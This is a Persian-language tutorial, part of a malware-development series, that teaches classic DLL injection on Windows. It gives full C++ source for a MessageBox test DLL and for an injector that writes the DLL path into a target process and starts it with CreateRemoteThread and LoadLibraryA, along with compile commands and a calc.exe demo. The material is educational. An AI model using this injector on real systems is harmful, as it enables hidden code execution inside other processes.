تزریق DLL کلاسیک (DLL Injection)
در قسمت سوم از مجموعه توسعه بدافزار قرار داریم و این قسمت نیز مثل تمام قسمت های دیگر این مجموعه ، فقط و فقط با اهداف آموزشی و آشنایی با حملات منتشر شده است . مسئولیت هرگونه خرابکاری و جرم بر عهده خودش شخص میباشد .
تزریق DLL
تزریق DLL یکی از تکنیک های مرسوم برای اجرای کد دلخواه هکر ، توسط پروسه های عادی سیستم است . در این تکنیک هکر یک فایل DLL مخرب که حاوی کد های دلخواه او است را ساخته و سپس این فایل را به یک پروسه عادی سیستم تزریق میکند . این باعث میشود تا کد مخرب داخل DLL توسط آن پروسه اجرا شود . برای تزریق DLL ، روش های مختلفی وجود دارد و بوجود خواهد آمد !اما در این قسمت به روش کلاسیک و سنتی آن میپردازیم .
فایل های DLL و EXE
در سیستم عامل ویندوز ، ساختار فایلی وجود دارد به نام Portable Executable (PE) . به طور کلی این ،ساختار فایل های اجرایی در ویندوز است . دو پسوند مختلف از فایل های اجرایی در ویندوز که هر دو طبق ساختار PE هستند ، EXE و DLL است . تفاوت این دو فایل در نحوه اجرا شدن کد های آن هاست . فایل های EXE به راحتی توسط کاربر مثلا با Double Click کردن روی آن ها قابل اجرا است . ولی فایل های DLL مثل کتابخانه ها شامل توابعی از پیش تعریف شده است که اگر فایل های اجرایی دیگر (مثل یک فایل EXE) نیاز به آن توابع داشتند ، آن ها را import میکنند. بنابراین نحوه اجرا شدن فایل های DLL به این صورت است که ابتدا باید توسط پروسه های دیگر import بشوند . سپس توابع آن ها توسط پروسه ای که آن ها را import کرده ، قابل فراخوانی است .
اگر در مورد زبان های C یا ++C صحبت کنیم ، در نوشتن فایل های EXE تابعی به نام main داریم که از دید برنامه نویس ، نقطه شروع اجرای برنامه است . در واقع این نقطه شروع فقط از دید برنامه نویس است . از دید سیستم عامل احتمالا جای دیگری غیر از main نقطه شروع است . Loader سیستم عامل که وظیفه ی آن بارگذاری و اجرای برنامه ها در حافظ هاست ، ابتدا یک سری از فعالیت های آماده سازی و مقداردهی اولیه (Initializing) را برای اجرای یک برنامه انجام میدهد و سپس تابع main اجرا میشود .
در نوشتن فایل های DLL کمی تفاوت وجود دارد . اینجا دیگر تابعی به شکل main نداریم . در فایل های DLL تابع خاصی داریم به اسم DllMain که این تابع به محض import شدن آن DLL توسط پروسه های دیگر فراخوانی میشود (اگر وجود داشته باشد) . هکر کاری که میتواند بکند این است که یک فایل DLL درست کند و یک کد مخرب در تابع DllMain آن تعبیه کند . سپس پروسه ای را وادار به import کردن آن DLL کند (تزریق DLL). نهایتا وقتی پروسه DLL را import میکند ،تابع DllMain و درنتیجه کد مخرب داخل آن به اجرا در خواهد آمد .
ساخت یک فایل DLL ساده برای تزریق
قطعه کد زیر یک DLL بسیار ساده است که فقط یک پیغام گرافیکی توسط تابع MessageBox به کاربر نشان میدهد :
/*
evil.cpp
simple DLL for DLL inject to process
author: @cocomelonc
https://cocomelonc.github.io/tutorial/2021/09/20/malware-injection-2.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")
BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Meow from evil.dll!",
"=^..^=",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
فایل DLL را compile میکنیم :
x86_64-w64-mingw32-g++ -shared -o evil.dll evil.cpp -fpermissive
مسلما هر پروسه ای که این فایل DLL را import کند ، موجب اجرای کد داخل DllMain آن میشود که طبق کدی که نوشتیم یک پیغام گرافیکی در صفحه به نمایش در می آید . این فایل DLL را در مسیری مشخص در سیستم مقصد که قصد تزریق در آن را داریم قرار میدهید :
اما حالا چگونه این فایل DLL را به یک پروسه تزریق کنیم ؟
تزریق DLL کلاسیک
تزریق DLL کلاسیک طی مراحل زیر اتفاق میفتد :
۱ – مشخص کردن PID پروسه مقصد
۲ – رزرو یک buffer به اندازه یک string حاوی مسیر DLL در حافظه پروسه مقصد
۳ – نوشتن مسیر فایل DLL در حافظه رزرو شده
۴ – پیدا کردن آدرس تابع LoadLibraryA که برای import کردن یک DLL به کار میرود
۵ – ساخت یک thread در پروسه مقصد و قرار دادم LoadLibraryA به عنوان آدرس شروع اجرای thread .
در مرحله ۵ یک thread در پروسه مقصد ساخته میشود و تابع LoadLibraryA را صدا میزند و آدرس حافظه ای که مسیر DLL را داخل آن نوشتیم را به عنوان ورودی آن قرار میدهد . در نتیجه فایل DLL مورد نظر ما توسط پروسه مقصد import میشود .
توسط تکه کد زیر عمل تزریق DLL را طبق مراحلی که بالا توضیح دادیم انجام میدهیم . دقت کنید این کد PID پروسه مقصد را به عنوان پارامتر حین اجرا از ما میگیرد :
/*
* evil_inj.cpp
* classic DLL injection example
* author: @cocomelonc
* https://cocomelonc.github.io/tutorial/2021/09/20/malware-injection-2.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
char evilDLL[] = "C:\\evil.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;
int main(int argc, char* argv[]) {
HANDLE ph; // process handle
HANDLE rt; // remote thread
LPVOID rb; // remote buffer
// handle to kernel32 and pass it to GetProcAddress
HMODULE hKernel32 = GetModuleHandle("Kernel32");
VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");
// parse process ID
if ( atoi(argv[1]) == 0) {
printf("PID not found 🙁 exiting...\n");
return -1;
}
printf("PID: %i", atoi(argv[1]));
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
// allocate memory buffer for remote process
rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
// "copy" evil DLL between processes
WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);
// our process start new thread
rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
CloseHandle(ph);
return 0;
}
PID پروسه مقصد توسط پارامتر اول برنامه مشخص شده است (مرحله ۱) . در خط ۳۴ حافظه ای به اندازه مسیر فایل DLL در پروسه مقصد رزرو شده (مرحله ۲) . در خط ۳۷ آدرس فایل DLL در حافظه رزرو شده در پروسه مقصد نوشته شده است (مرحله ۳) . در خطوط ۲۲ و ۲۳ آدرس تابع LoadLibraryA در حافظه پیدا شده (مرحله ۴) . نهایتا در خط ۴۰ یک thread در پروسه مقصد ساخته شده است که فایل DLL را در پروسه مقصد import میکند .
کد بالا را compile میکنیم :
x86_64-w64-mingw32-gcc -O2 evil_inj.cpp -o inj.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive >/dev/null 2>&1
فرض کنیم میخواهیم DLL خود را به برنامه calc.exe تزریق کنیم . برای اینکار ابتدا یک calc.exe در سیستم مقصد اجرا میکنیم و سپس تکه کدی که برای تزریق نوشته بودیم را اجرا میکنیم :
میبینیم که DLL به درستی تزریق شده و پیغام گرافیکی که صحبت کرده بودیم توسط پروسه calc.exe نمایان شد .
اگر برنامه Process Hacker که در قسمت قبلی مجموعه معرفی شد را اجرا کنیم و به تب memory در calc.exe مراجعه کنیم ، میبینیم که فایل DLL که ساختیم (evil.dll) در حافظه calc.exe بارگذاری شده :
برای درک بهتر کد ها اگر نیاز بود از منابع زیر استفاده کنید :
منابع
علاقه مند به دنیای کامپیوتر ها ...